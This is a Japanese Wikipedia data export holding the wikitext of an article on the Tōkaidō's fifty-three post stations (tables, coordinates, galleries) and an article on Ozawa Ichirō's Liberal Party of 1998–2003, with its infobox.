== 五十三次の一覧 ==
{{座標一覧|section=五十三次の一覧}}
数は品川宿からの通し番号である。江戸と京の間は里程124[[里 (尺貫法)|里]]8[[町 (単位)|丁]]、487.8キロメートル (km)。
<!--また、宿名のあった地名が残されているとされている町名・地区名(通称)についても併記する。-->
東海道五十三次には、[[旅籠]]が全部で3000軒近くあったといわれ、宿場ごとによってその数は著しい差があった。人口の多い江戸や京都周辺や、[[箱根峠]]や[[七里の渡し]]など、交通難所を控えた宿場も多かった{{sfn|浅井建爾|2001|pp=98-99}}。特に旅籠の数が多かった宿場は、七里の渡しの港があった[[宮宿]](熱田宿)が247軒とその数は群を抜き、その対岸の[[桑名宿]]も120軒あった{{sfn|浅井建爾|2001|pp=98-99}}。宮宿は旅籠の数では、東海道はもとより日本一大きな宿場町であった{{sfn|浅井建爾|2001|pp=98-99}}。他に100軒を超えたのは、[[岡崎宿]]の112軒である{{sfn|浅井建爾|2001|pp=98-99}}。[[箱根八里]]の東麓に位置する[[小田原宿]]は95軒、西麓の[[三島宿]]にも74軒の旅籠があり、その手前の[[大磯宿]](66軒)、[[平塚宿]](54軒)、[[藤沢宿]](45軒)と比べると多かった{{sfn|浅井建爾|2001|pp=98-99}}。このほか旅籠の多い宿場は、[[品川宿]](93軒)、[[川崎宿]](72軒)、[[戸塚宿]](75軒)、[[浜松宿]](94軒)、[[四日市宿]](98軒)、[[草津宿]](72軒)、[[大津宿]](71軒)があった{{sfn|浅井建爾|2001|pp=98-99}}。
{|class="wikitable" style="font-size:small"
|-
! rowspan="2" | 宿場!! rowspan="2" | 里程!! rowspan="2" | 令制国!! rowspan="2" | 郡!! colspan="3" | 現在の自治体 !! rowspan="2" | 座標!! rowspan="2" | 特記事項
|-
! 都道府県 !! colspan="2" | 市区町村
|-
| [[日本橋 (東京都中央区の橋)|日本橋]]
| 起点
| rowspan="5" | [[武蔵国]]
| [[豊島郡 (武蔵国)|豊島郡]]
| rowspan="2" | [[東京都]]
| colspan="2" | [[中央区 (東京都)|中央区]]
|{{ウィキ座標|35|41|01|N|139|46|28|E|region:JP|地図|name=日本橋}}
|
|-
| 1. [[品川宿]]
| 2里
| [[荏原郡]]
| colspan="2" | [[品川区]]
|{{ウィキ座標|35|37|19|N|139|44|21|E|region:JP|地図|name=品川宿}}
|
|-
| 2. [[川崎宿]]
| 2里半
| rowspan="3" | [[橘樹郡]]
| rowspan="10" | [[神奈川県]]
| [[川崎市]]
| [[川崎区]]
|{{ウィキ座標|35|32|08|N|139|42|28|E|region:JP|地図|name=川崎宿}}
|
|-
| 3. [[神奈川宿]]
| 2里半
| rowspan="3" | [[横浜市]]
| [[神奈川区]]
|{{ウィキ座標|35|28|22|N|139|37|56.2|E|region:JP|地図|name=神奈川宿}}
|
|-
| 4. [[保土ヶ谷宿]]
| 1里9丁
| [[保土ケ谷区]]
|{{ウィキ座標|35|26|38.5|N|139|35|44|E|region:JP|地図|name=保ヶ谷宿}}
|
|-
| 5. [[戸塚宿]]
| 2里9丁
| rowspan="7" | [[相模国]]
| rowspan="2" | [[鎌倉郡]]
| [[戸塚区]]
| {{ウィキ座標|35|23|42.1|N|139|31|47.5|E|region:JP|地図|name=戸塚宿}}
|
|-
| rowspan="2" | 6. [[藤沢宿]]
| rowspan="2" | 1里30丁
| rowspan="2" colspan="2" | [[藤沢市]]
| rowspan="2" |{{ウィキ座標|35|20|44.4|N|139|29|10.7|E|region:JP|地図|name=藤沢宿}}
| rowspan="2" |
|-
| [[高座郡]]
|-
| 7. [[平塚宿]]
| 3里半
| [[大住郡]]
| colspan="2" | [[平塚市]]
|{{ウィキ座標|35|19|38.2|N|139|20|16.1|E|region:JP|地図|name=平塚宿}}
|
|-
| 8. [[大磯宿]]
| 27丁
| [[淘綾郡]]
| [[中郡]]
| [[大磯町]]
| {{ウィキ座標|35|18|32.4|N|139|18|55.1|E|region:JP|地図|name=大磯宿}}
|
|-
| 9. [[小田原宿]]
| 4里
| rowspan="2" | 足下郡
| colspan="2" | [[小田原市]]
|{{ウィキ座標|35|14|55.4|N|139|9|39.7|E|region:JP|地図|name=小田原宿}}
| [[小田原城]]下
|-
| 10. [[箱根宿]]
| 4里8丁
| [[足柄下郡]]
| [[箱根町]]
| {{ウィキ座標|35|11|25.5|N|139|1|34.9|E|region:JP|はふや本陣跡|name=箱根宿}}
|
|-
| 11. [[三島宿]]
| 3里28丁
| [[伊豆国]]
| [[君沢郡]]
| rowspan="22" | [[静岡県]]
| colspan="2" | [[三島市]]
| {{ウィキ座標|35|7|9.3|N|138|54|52.1|E|region:JP|樋口本陣跡|name=三島宿}}
|
|-
| 12. [[沼津宿]]
| 1里半
| rowspan="12" | [[駿河国]]
| rowspan="2" | [[駿東郡]]
| colspan="2" rowspan="2" | [[沼津市]]
|{{ウィキ座標|35|6|0.4|N|138|51|26.7|E|region:JP|地図|name=沼津宿}}
|
|-
| 13. [[原宿 (東海道)|原宿]]
| 1里半
| {{ウィキ座標|35|7|31.9|N|138|47|50.4|E|region:JP|地図|name=原宿}}
|
|-
| 14. [[吉原宿]]
| 3里6丁
| [[富士郡]]
| colspan="2" | [[富士市]]
|{{ウィキ座標|35|9|46|N|138|41|8.3|E|region:JP|地図|name=吉原宿}}
|
|-
| 15. [[蒲原宿]]
| 2里30丁
| rowspan="4" | [[庵原郡]]
| rowspan="6" | [[静岡市]]
| rowspan="4" | [[清水区]]
|{{ウィキ座標|35|7|11.9|N|138|36|19.7|E|region:JP|東本陣跡|name=蒲原宿}}
|
|-
| 16. [[由比宿]]
| 1里
|{{ウィキ座標|35|6|27.4|N|138|34|2.9|E|region:JP|本陣公園|name=由比宿}}
|
|-
| 17. [[興津宿]]
| 2里12丁
|{{ウィキ座標|35|2|59.4|N|138|31|10.4|E|region:JP|東本陣跡|name=興津宿}}
|
|-
| 18. [[江尻宿]]
| 1里3丁
|{{ウィキ座標|35|1|11.6|N|138|28|51.1|E|region:JP|寺岡本陣跡|name=江尻宿}}
|
|-
| 19. [[府中宿 (東海道)|府中宿]]
| 2里29丁
| rowspan="2" | [[有度郡]]
| [[葵区]]
|{{ウィキ座標|34|58|29.7|N|138|23|15.5|E|region:JP|上伝馬本陣跡|name=府中宿}}
| [[駿府|駿府城下]]
|-
| 20. [[鞠子宿]]
| 1里半
| [[駿河区]]
|{{ウィキ座標|34|56|57.9|N|138|20|32.8|E|region:JP|本陣跡|name=鞠子宿}}
|
|-
| 21. [[岡部宿]]
| 1里29丁
| rowspan="3" | [[志太郡]]
| rowspan="2" colspan="2" | [[藤枝市]]
|{{ウィキ座標|34|55|7.8|N|138|16|57.6|E|region:JP|内野本陣跡|name=岡部宿}}
|
|-
| 22. [[藤枝宿]]
| 1里29丁
|{{ウィキ座標|34|52|11.3|N|138|15|9.8|E|region:JP|地図|name=藤枝宿}}
|
|-
| 23. [[島田宿]]
| 2里8丁
| rowspan="2" colspan="2" | [[島田市]]
|{{ウィキ座標|34|49|58.1|N|138|10|33.1|E|region:JP|本陣跡|name=島田宿}}
|
|-
| 24. [[金谷宿]]
| 1里
| rowspan="9" | [[遠江国]]
| [[榛原郡]]
|{{ウィキ座標|34|49|22.3|N|138|7|45.4|E|region:JP|柏屋本陣跡|name=金谷宿}}
|
|-
| 25. [[日坂宿]]
| 1里24丁
| rowspan="2" | [[佐野郡]]
| rowspan="2" colspan="2" | [[掛川市]]
|{{ウィキ座標|34|48|14.9|N|138|4|31.3|E|region:JP|片岡本陣跡|name=日坂宿}}
|
|-
| 26. [[掛川宿]]
| 1里19丁
|{{ウィキ座標|34|46|22.5|N|138|0|57.2|E|region:JP|本陣跡|name=掛川宿}}
| [[掛川城]]下
|-
| 27. [[袋井宿]]
| 2里16丁
| [[山名郡]]
| colspan="2" | [[袋井市]]
|{{ウィキ座標|34|44|50.9|N|137|55|23.6|E|region:JP|東本陣跡|name=袋井宿}}
|
|-
| 28. [[見付宿]]
| 1里半
| [[磐田郡]]
| colspan="2" | [[磐田市]]
|{{ウィキ座標|34|43|36.5|N|137|51|25.3|E|region:JP|本陣跡|name=見附宿}}
|[[本坂通]][[姫街道 (東海道)|(姫街道]])と分岐
|-
| 29. [[浜松宿]]
| 4里7丁
| rowspan="3" | [[敷知郡]]
| rowspan="2" | [[浜松市]]
| [[中区 (浜松市)|中区]]
|{{ウィキ座標|34|42|18.4|N|137|43|54.9|E|region:JP|杉浦本陣跡|name=浜松宿}}
| [[浜松城]]下
|-
| 30. [[舞坂宿]]
| 2里30丁
| [[西区 (浜松市)|西区]]
|{{ウィキ座標|34|41|3.8|N|137|36|32.2|E|region:JP|脇本陣|name=舞阪宿}}
|
|-
| 31. [[新居宿]]
| 1里(海上)
| rowspan="2" colspan="2" | [[湖西市]]
|{{ウィキ座標|34|41|38.9|N|137|33|38.8|E|region:JP|疋田本陣跡|name=新居宿}}
|
|-
| 32. [[白須賀宿]]
| 1里24丁
| [[浜名郡]]
|{{ウィキ座標|34|41|18.8|N|137|30|3|E|region:JP|本陣跡|name=白須賀宿}}
|
|-
| 33. [[二川宿]]
| 2里16丁
| rowspan="7" | [[三河国]]
| rowspan="2" | [[渥美郡]]
| rowspan="9" | [[愛知県]]
| rowspan="2" colspan="2" | [[豊橋市]]
| {{ウィキ座標|34|43|23|N|137|27|52.3|E|region:JP|本陣資料館|name=二川宿}}
|
|-
| 34. [[吉田宿]]
| 1里20丁
|{{ウィキ座標|34|45|59.9|N|137|23|23.0|E|region:JP|本陣跡|name=吉田宿}}
| [[吉田城 (三河国)|吉田城]]下
|-
| 35. [[御油宿]]
| 2里22丁
| rowspan="2" | [[宝飯郡]]
| rowspan="2" colspan="2" | [[豊川市]]
|{{ウィキ座標|34|50|41.6|N|137|19|02.4|E|region:JP|鈴木本陣跡|name=御油宿}}
|[[本坂通]]([[姫街道 (東海道)|姫街道]])と分岐
|-
| 36. [[赤坂宿 (東海道)|赤坂宿]]
| 16丁
|{{ウィキ座標|34|51|20.6|N|137|18|29.6|E|region:JP|松平本陣跡|name=赤坂宿}}
|
|-
| 37. [[藤川宿]]
| 2里9丁
| rowspan="2" | [[額田郡]]
| rowspan="2" colspan="2" | [[岡崎市]]
|{{ウィキ座標|34|54|39.8|N|137|13|19.9|E|region:JP|本陣跡広場|name=藤川宿}}
|
|-
| 38. [[岡崎宿]]
| 1里25丁
|{{ウィキ座標|34|57|28.5|N|137|10|9.1|E|region:JP|地図|name=岡崎宿}}
|[[岡崎城]]下
|-
| 39. [[池鯉鮒宿]]
| 3里30丁
| [[碧海郡]]
| colspan="2" | [[知立市]]
|{{ウィキ座標|35|0|29.2|N|137|2|27.4|E|region:JP|本陣跡|name=池鯉鮒宿}}
|
|-
| 40. [[鳴海宿]]
| 2里30丁
| rowspan="2" | [[尾張国]]
| rowspan="2" | [[愛知郡 (愛知県)|愛知郡]]
| rowspan="2" | [[名古屋市]]
| [[緑区 (名古屋市)|緑区]]
|{{ウィキ座標|35|4|46.8|N|136|56|59.3|E|region:JP|本陣跡|name=鳴海宿}}
|
|-
| 41. [[宮宿]]
| 1里半
| [[熱田区]]
|{{ウィキ座標|35|07|13.5|N|136|54|24.2|E|region:JP|宮宿 赤本陣南部家跡|name=宮宿}}
| [[熱田神宮]]周辺。<br>桑名宿へは東海道唯一の<BR>海上路[[七里の渡し]]で結ぶ。[[美濃路]]と分岐
|-
| 42. [[桑名宿]]
| 7里(川舟)
| rowspan="7" | [[伊勢国]]
| [[桑名郡]]
| rowspan="7" | [[三重県]]
| colspan="2" | [[桑名市]]
|{{ウィキ座標|35|4|7.4|N|136|41|43.8|E|region:JP|本陣跡 (船津屋)|name=桑名宿}}
|[[桑名城]]下
|-
| 43. [[四日市宿]]
| 3里8丁
| [[三重郡]]
| colspan="2" | [[四日市市]]
|{{ウィキ座標|34|58|10.3|N|136|37|31|E|region:JP|黒川本陣跡|name=四日市宿}}
|
|-
| 44. [[石薬師宿]]
| 2里27丁
| rowspan="5" | [[鈴鹿郡]]
| rowspan="2" colspan="2" | [[鈴鹿市]]
|{{ウィキ座標|34|54|15.6|N|136|32|52.8|E|region:JP|小澤本陣跡休憩所|name=石薬師宿}}
|
|-
| 45. [[庄野宿]]
| 27丁
| {{ウィキ座標|34|53|0.2|N|136|31|29.4|E|region:JP|本陣跡|name=庄野宿}}
|
|-
| 46. [[亀山宿]]
| 2里
| rowspan="3" colspan="2" | [[亀山市]]
|{{ウィキ座標|34|51|15.5|N|136|27|14.8|E|region:JP|樋口本陣跡|name=亀山宿}}
| [[亀山城 (伊勢国)|亀山城]]下
|-
| 47. [[関宿]]
| 1里半
|{{ウィキ座標|34|51|8.9|N|136|23|31.5|E|region:JP|伊藤本陣跡|name=関宿}}
|
|-
| 48. [[坂下宿]]
| 1里24丁
|{{ウィキ座標|34|53|18.8|N|136|21|14.7|E|region:JP|松屋本陣跡|name=坂下宿}}
|
|-
| 49. [[土山宿]]
| 2里半
| rowspan="5" | [[近江国]]
| rowspan="3" | [[甲賀郡]]
| rowspan="5" | [[滋賀県]]
| rowspan="2" colspan="2" | [[甲賀市]]
|{{ウィキ座標|34|56|3.9|N|136|17|1.8|E|region:JP|本陣|name=土山宿}}
| [[田村神社 (甲賀市)|田村神社]]境内
|-
| 50. [[水口宿]]
| 2里25丁
|{{ウィキ座標|34|57|56|N|136|11|0.6|E|region:JP|本陣跡|name=水口宿}}
|
|-
| 51. [[石部宿]]
| 3里12丁
| colspan="2" | [[湖南市]]
|{{ウィキ座標|35|0|36.2|N|136|3|16.7|E|region:JP|小島本陣跡|name=石部宿}}
|
|-
| 52. [[草津宿]]
| 2里25丁
| [[栗太郡]]
| colspan="2" | [[草津市]]
|{{ウィキ座標|35|1|2.8|N|135|57|38.3|E|region:JP|田中七左衛門本陣|name=草津宿}}
| [[中山道]]と共有(草津追分)。
|-
| 53. [[大津宿]]
| 3里24丁
| [[滋賀郡]]
| colspan="2" | [[大津市]]
|{{ウィキ座標|35|0|21.5|N|135|51|41.1|E|region:JP|本陣跡|name=大津宿}}
| 中山道と共有。[[北陸道]]と結ぶ。[[伏見街道]]と分岐
|-
| [[三条大橋]]
| 3里
| [[山城国]]
| [[愛宕郡]]
| [[京都府]]
| [[京都市]]
| [[東山区]]
|{{ウィキ座標|35|0|37.2|N|135|46|27.7|E|region:JP|東詰|name=三条大橋}}
| [[京街道]]と結ぶ。
|}
;[[武蔵国]]
<gallery>
画像:NihonbashiBridgeJP13Mar05.jpg|[[日本橋 (東京都中央区の橋)|日本橋]]([[東京都]] [[中央区 (東京都)|中央区]])
File:Shinagawajuku 03.jpg|01.[[品川宿]]([[東京都]] [[品川区]])
File:東海道かわさき宿交流館 - panoramio.jpg|02.[[川崎宿]]([[神奈川県]] [[川崎市]] [[川崎区]])
File:Tanaka-ya (Japanese-style restaurant) 01.jpg|03.[[神奈川宿]]([[神奈川県]] [[横浜市]] [[神奈川区]])
File:宿場保土ヶ谷.jpg|04.[[程ヶ谷宿]]([[神奈川県]] [[横浜市]] [[保土ケ谷区]])
</gallery>
;[[相模国]]
<gallery>
File:Kotobuki-dori at Totsuka station west side area.jpg|05.[[戸塚宿]]([[神奈川県]] [[横浜市]] [[戸塚区]])
File:Fujisawa-shuku Tourist Info Center.jpg|06.[[藤沢宿]]([[神奈川県]] [[藤沢市]])
File:Hiratsukajuku -02.jpg|07.[[平塚宿]]([[神奈川県]] [[平塚市]])
File:Shigitatsuan.JPG|08.[[大磯宿]]([[神奈川県]] [[中郡]] [[大磯町]])
File:Odawarajuku -02.jpg|09.[[小田原宿]]([[神奈川県]] [[小田原市]])
File:Kanagawa Route 732 -01.jpg|10.[[箱根宿]]([[神奈川県]] [[足柄下郡]] [[箱根町]])
</gallery>
;[[伊豆国]]
<gallery>
File:Mishima Odori Shopping Street.JPG|11.[[三島宿]]([[静岡県]] [[三島市]])
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;[[駿河国]]
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File:Numazu Nakamise Shopping Street north entrance ac.jpg|12.[[沼津宿]]([[静岡県]] [[沼津市]])
File:Takashima Brewery ac (4).jpg|13.[[原宿 (東海道)|原宿]]([[静岡県]] [[沼津市]])
File:Dashi.jpg|14.[[吉原宿]]([[静岡県]] [[富士市]])
File:Kanbara Izumiya 2019-06 ac (3).jpg|15.[[蒲原宿]]([[静岡県]] [[静岡市]] [[清水区]])
File:由比本陣公園1 - panoramio.jpg|16.[[由比宿]]([[静岡県]] [[静岡市]] [[清水区]])
File:興津坐漁荘 - panoramio.jpg|17.[[興津宿]]([[静岡県]] [[静岡市]] [[清水区]])
File:Birthplace of Shimizu Jirocho.JPG|18.[[江尻宿]]([[静岡県]] [[静岡市]] [[清水区]])
File:Gofukucho Dori (Gofukucho Shopping Street) 1.jpg|19.[[府中宿 (東海道)|府中宿]]([[静岡県]] [[静岡市]] [[葵区]])
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;[[遠江国]]
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画像:Kanayazaka1.jpg|金谷坂(金谷―日坂間)
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;[[三河国]]
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画像:御油の松並木.jpg|御油の松並木
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;[[尾張国]]
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画像:Narumijouyatou.jpg|鳴海・[[常夜灯]]
画像:Atsuta Shrine 11.jpg|熱田・[[熱田神宮]]
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;[[伊勢国]]
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画像:桑名七里の渡し跡鳥居.jpg|桑名・[[七里の渡し]]跡
画像:Tokaido Seki Juku Kameyama City Mie JPN 001.jpg|関宿([[重伝建]])
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;[[近江国]]
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;[[山城国]]
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ファイル:Sanjo6890.JPG|京都・三条大橋
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== 東海道五十七次 ==
{{出典の明記|date=2021年10月|section=1}}
{{要出典範囲|東海道の延長線として、元和5年([[1619年]])に設置された[[京街道 (大坂街道)]]の宿場を含めて'''東海道五十七次'''と呼ぶことを、近年広めることにより街づくりに貢献している|date=2021年10月}}。(2021年現在の[[国道1号]]である)
数は[[品川宿]]からの通し番号である。
{| class="wikitable"
|-
! rowspan="2" | 宿場!! rowspan="2" | 令制国!! rowspan="2" | 郡!! colspan="3" | 現在の自治体 !! rowspan="2" | 特記事項
|-
! 都道府県 !! colspan="2" | 市区町村
|-
| 53. 大津宿
| [[近江国]]
| [[滋賀郡]]
| [[滋賀県]]
| colspan="2" | [[大津市]]
| [[髭茶屋追分]]で東海道から分かれる<ref group="注釈">東海道から京街道に入る場合は三条大橋は通らず髭茶屋追分(大津市追分町)で南西に折れるルート([[大津街道]])をとるため、大津宿の次は伏見宿となる。</ref>。
|-
| 54. [[伏見宿 (京街道)|伏見宿]]
| rowspan="2" | [[山城国]]
| [[紀伊郡]]
| rowspan="2" | [[京都府]]
| rowspan="2" | [[京都市]]
| rowspan="2" | [[伏見区]]
|
|-
| 55. [[淀宿]]
| [[久世郡]]
|
|-
| 56. [[枚方宿]]
| rowspan="2" | [[河内国]]
| rowspan="2" | [[茨田郡]]
| rowspan="3" | [[大阪府]]
| colspan="2" | [[枚方市]]
|
|-
| 57. [[守口宿]]
| colspan="2" | [[守口市]]
|
|-
| [[高麗橋]]
| [[摂津国]]
| [[西成郡]]
| [[大阪市]]
| [[中央区 (大阪市)|中央区]]
| 江戸時代は[[京橋 (大阪市)|京橋]](大阪市)<ref group="注釈">大阪府[[大阪市]][[中央区 (大阪市)|中央区]]と[[都島区]]の境の[[寝屋川]]の[[橋]]で、[[大坂城|大阪城]]の出入口である。</ref>であった。
|}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注釈"}} 道中掛御勘定奉行へ差出
覚
東海道と申者
右、何れ之宿より何れ之宿迄之儀に御座候哉、
東海道 品川より大津迄
中山道 板橋より守山迄
木曾路
甲州街道 内藤新宿より上諏訪迄
奥州街道 白沢より白川迄
(マヽ) 日光街道 千住より鉢石迄拾駅
水戸街道 水戸道中
佐倉街道 佐倉道中
右七海道も、何れ之宿より何れ之宿迄之儀に御座候哉、
右為心得奉伺候、以上、文化八年六月十七日
=== 出典 ===
{{Reflist}}
== 参考文献 ==
* {{Cite book |和書 |author=浅井建爾 |edition= 初版|date=2001-11-10 |title=道と路がわかる辞典 |publisher=[[日本実業出版社]] |isbn=4-534-03315-X |ref=harv}}
== 関連項目 ==
{{Commonscat|Tōkaidō (road)|東海道}}
{{Commonscat|The Fifty-three Stations of the Tōkaidō|東海道五十三次(歌川広重)}}
* [[東海道の一里塚一覧]]
* [[歌川広重]]-[[東海道五十三次 (浮世絵)|東海道五十三次]]
* [[東海道中膝栗毛]]-[[十返舎一九]]
* [[中山道六十九次]]
* [[徒歩旅行]]
* [[東海道新幹線]]
* [[東海道本線]]
* [[歌川国芳]] - 『其のまま地口 猫飼好五十三疋』
* [[水木しげる]] - 『妖怪道五十三次』
* [[かんしゃく玉なげカン太郎の東海道五十三次]]
== 外部リンク ==
* {{Kotobank}}
* [http://home.h01.itscom.net/tokaido/index.htm 五街道の旅ホームページ・東海道五十三次道中記]
{{東海道}}
{{DEFAULTSORT:とうかいとうこしゆうさんつき}}
[[Category:東海道|*こしゆうさんつき]]
[[Category:宿場]]
[[Category:日本の名数|53 とうかいとう]]
[[Category:名数53]]
[[Category:日本の景観一覧]] | 2003-04-14T15:48:10Z | 2023-12-23T14:48:29Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%9D%B1%E6%B5%B7%E9%81%93%E4%BA%94%E5%8D%81%E4%B8%89%E6%AC%A1 |
6,745 | 自由党 (日本 1998-2003) | 自由党(じゆうとう、英語: Liberal Party)は、かつて存在した日本の政党。略称は自由、LP。日本憲政史上の他の「自由党」と区別するため、党首の小沢一郎の名から小沢自由党と呼ばれることもある。1998年1月5日に届け出、1998年1月6日に結党大会を開いた。但し、法的には新進党分党によるものであるため、1998年1月1日発足となる。2003年9月26日、解党し民主党に吸収合併された。
政策的には、小沢一郎の著書『日本改造計画』、新進党の政策「日本再構築宣言」を基に、小さな政府・規制緩和・市場主義といった経済的新自由主義と、教育基本法見直しなどの政治的保守主義をとり、改革を呼びかけた。スローガンは「日本一新」。国際的には、自由主義インターナショナルにオブザーバー参加した。
日本一新11法案を掲げ、その性格と狙いとして、1.新しい日本の骨格をまとめた「新国家の設計図」、2.それぞれが独立した法律でありながら、全てがつながり合い、1つの法体系を成し、3.全体として、究極の目標である「自由で公正で開かれた社会」と「自立した国民による自立国家・日本」の実現、4.国会で多数派となり、政権を担ったら、直ちに11法案を成立させ、短期間で真の構造改革を断行できるようにし、5.新しい国家像と改革目標を具体的に国民に明示し、国民自身の決断と選択によって新しい日本をつくり上げる政治手法を確立することを掲げた。
小沢一郎を党首とする新進党は1997年12月31日に分党し、1998年1月6日に小沢を党首とし自由党が結成された(手続き上は1月1日)。当初は100名以上の議員が集まると思われたが、予想を下回り、衆参両院合わせて54人(衆院42人、参院12人)の議員が参加するに留まった。
党名候補として「保守党」も候補に上がったが、河村たかしが提案した「自由党」に決定した。
同年7月12日の第18回参議院議員通常選挙では6議席を獲得した(比例区5名、一人区の和歌山県選挙区で鶴保庸介が他の野党の協力を得て初当選)。
参院選後の臨時国会では与党が過半数割れしていた参議院での首班指名で民主党代表の菅直人に投票して野党共闘の構えを見せたが、菅が金融再生法の制定の際に「政局にしない」と発言。これを聞いた小沢は野党共闘を諦めて自由民主党との提携に舵を切った。野中広務官房長官が「小沢さんにひれ伏してでも協力をお願いしたい」と述べるなど、参議院で過半数を確保してねじれを解消したい自民党側からも連立を求める声があり協議が進んだ。同年11月19日に自民党との自自連立合意が成立した。
1999年1月14日、小渕第1次改造内閣に参画した自由党は政府委員の廃止、党首討論や副大臣制度の導入、衆議院議員定数削減などの政策を推し進めて実現させた。しかし、同年10月に公明党が連立政権に参加するようになると次第に自由党の主張は取り入れられなくなった。また、小沢が自民党に選挙協力を求めたことが自民党側からの反発を招いた。結局、小沢は連立離脱を決断して2000年4月1日に連立政権から離脱した。その際に連立継続を望む党内の海部俊樹、野田毅らは離党し保守党を結成、自由党は分裂した。
同年6月25日の第42回衆議院議員総選挙では22議席を獲得。この選挙では小沢のキャラクターを前面に出し小沢が見えない手に殴られながらも前進するというCMが話題を呼んだ。
2001年には自由党の組織として小沢一郎政治塾を設立した。同年7月29日の第19回参議院議員通常選挙では6議席を獲得した(比例区4名、二人区の新潟県選挙区で森裕子・一人区の岩手県選挙区で平野達男が初当選)。
2002年、民主党側から民主党と自由党の合併が提案された。民主党代表の鳩山由紀夫の失脚など紆余曲折があったが、自民党に対抗する勢力を結集するためとして鳩山の後任代表である菅直人と折衝を重ね、2003年7月23日、民主党と合併することで合意した。自由党は9月26日に解党し、民主党に吸収合併された。合併に際しては合併前の民主党の執行部、規約、政策を踏襲する方式がとられた。
小沢一郎は2016年に再び、「生活の党と山本太郎となかまたち」から党名変更する形で自由党の名称を復活させたが、新生自由党は新自由主義に反対し、政治的にも民共共闘にも参加するなど社会自由主義的な政党であった。こちらも2019年に民主党の後継政党の一つ(法的には民主党と同一政党)である国民民主党への合流が決まった。
2003年の「日本一新大綱」では、11からなる以下の法案を第156通常国会に提出した。
さらに同年には、内閣法制局廃止法案を提出した。
(参考文献:石川真澄(一部山口二郎による加筆)『戦後政治史』2004年8月、岩波書店・岩波新書、ISBN 4-00-430904-2) | [
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]
| 自由党は、かつて存在した日本の政党。略称は自由、LP。日本憲政史上の他の「自由党」と区別するため、党首の小沢一郎の名から小沢自由党と呼ばれることもある。1998年1月5日に届け出、1998年1月6日に結党大会を開いた。但し、法的には新進党分党によるものであるため、1998年1月1日発足となる。2003年9月26日、解党し民主党に吸収合併された。 政策的には、小沢一郎の著書『日本改造計画』、新進党の政策「日本再構築宣言」を基に、小さな政府・規制緩和・市場主義といった経済的新自由主義と、教育基本法見直しなどの政治的保守主義をとり、改革を呼びかけた。スローガンは「日本一新」。国際的には、自由主義インターナショナルにオブザーバー参加した。 日本一新11法案を掲げ、その性格と狙いとして、1.新しい日本の骨格をまとめた「新国家の設計図」、2.それぞれが独立した法律でありながら、全てがつながり合い、1つの法体系を成し、3.全体として、究極の目標である「自由で公正で開かれた社会」と「自立した国民による自立国家・日本」の実現、4.国会で多数派となり、政権を担ったら、直ちに11法案を成立させ、短期間で真の構造改革を断行できるようにし、5.新しい国家像と改革目標を具体的に国民に明示し、国民自身の決断と選択によって新しい日本をつくり上げる政治手法を確立することを掲げた。 | {{政党
|国名 = {{JPN}}
|党名 = 自由党<div style="font-size:smaller">Liberal Party</div>
|色相 = {{Liberal Party (Japan, 1998)/meta/color}}
|成立年月日 = [[1998年]][[1月6日]]([[デ・ジュリ|法規上]]は[[1月1日]])
|前身政党 = [[新進党]]<ref>{{Cite web|和書|author=加藤哲郎 |authorlink=加藤哲郎 (政治学者) |url=https://kotobank.jp/word/%E6%96%B0%E9%80%B2%E5%85%9A-174619#E6.97.A5.E6.9C.AC.E5.A4.A7.E7.99.BE.E7.A7.91.E5.85.A8.E6.9B.B8.28.E3.83.8B.E3.83.83.E3.83.9D.E3.83.8B.E3.82.AB.29 |title=新進党とは § 日本大百科全書(ニッポニカ)の解説 |accessdate=2020-11-10 |website=[[コトバンク]] |work=[[小学館]]『日本大百科全書』 |publisher=[[朝日新聞社]] |quote=その結果、1997年12月分党、解散し、小沢党首は1998年1月に自由党を結成した。 |language=ja }}</ref>
|解散年月日 = [[2003年]][[9月26日]]
|解散理由 = 民主党との[[民由合併|合併]]<ref name="britannica"/><ref name="nipponica"/>
|後継政党 = [[民主党 (日本 1998-2016)|民主党]]<ref name="britannica"/><ref name="nipponica"/>
|郵便番号 = 107-0052
|本部所在地 = [[東京都]][[港区 (東京都)|港区]][[赤坂 (東京都港区)|赤坂]]二丁目2番12号 [[国際興業]]赤坂ビル
|政治的思想・立場 = [[中道右派]]<ref>{{Cite book |last=Kingston |first=Jeff |title=Japan in Transformation, 1945-2010 |edition=2 |year=2013 |publisher=[[ラウトレッジ|Routledge]] |series=Seminar Studies |language=en |isbn=978-1-317-86192-8 |url=https://books.google.co.jp/books?id=XqMuAgAAQBAJ&pg=PA19 |accessdate=2020-11-09 |page=19 |quote=In 2003, the DPJ merged with Ichiro Ozawa's '''centre-rignt Liberal Party.''' }}</ref><br />[[保守|保守主義]]<ref name="britannica">[https://kotobank.jp/word/%E8%87%AA%E7%94%B1%E5%85%9A-77250#E3.83.96.E3.83.AA.E3.82.BF.E3.83.8B.E3.82.AB.E5.9B.BD.E9.9A.9B.E5.A4.A7.E7.99.BE.E7.A7.91.E4.BA.8B.E5.85.B8.20.E5.B0.8F.E9.A0.85.E7.9B.AE.E4.BA.8B.E5.85.B8 ブリタニカ国際大百科事典 小項目事典]. [[コトバンク]]. 2019年2月27日閲覧。</ref><br />[[新保守主義]]<ref name="nipponica">[https://kotobank.jp/word/%E8%87%AA%E7%94%B1%E5%85%9A%281998%E5%B9%B4%E7%B5%90%E6%88%90%29-1549027#E6.97.A5.E6.9C.AC.E5.A4.A7.E7.99.BE.E7.A7.91.E5.85.A8.E6.9B.B8.28.E3.83.8B.E3.83.83.E3.83.9D.E3.83.8B.E3.82.AB.29 日本大百科全書(ニッポニカ)] 2018年4月27日閲覧。</ref><ref>[https://kotobank.jp/word/%E8%87%AA%E7%94%B1%E5%85%9A-77250#E7.B2.BE.E9.81.B8.E7.89.88.20.E6.97.A5.E6.9C.AC.E5.9B.BD.E8.AA.9E.E5.A4.A7.E8.BE.9E.E5.85.B8 精選版 日本国語大辞典]. [[コトバンク]]. 2019年2月27日閲覧。</ref>
|機関紙 = 自由党
|シンボル = {{interlang|de|File:Jiyūtō (1998–2003) Logo.gif|青い円の中に黄色で"L"}}
|国際組織 = {{Nowrap|[[自由主義インターナショナル]]<br><small>(オブザーバー)</small><ref>{{Cite web |url=http://liberal-international.org/factfig/index.html |title=Facts & Figures |accessdate=2020-11-09 |website=liberal-international.org |publisher=[[自由主義インターナショナル]] |quote=Observer status ...(中略)... 10. Jiyuto (Liberal Party)(Japan) |language=en |archiveurl=https://web.archive.org/web/20031008083437/http://liberal-international.org/factfig/index.html |archivedate=2003-10-08 }}</ref>}}
|その他 =
}}
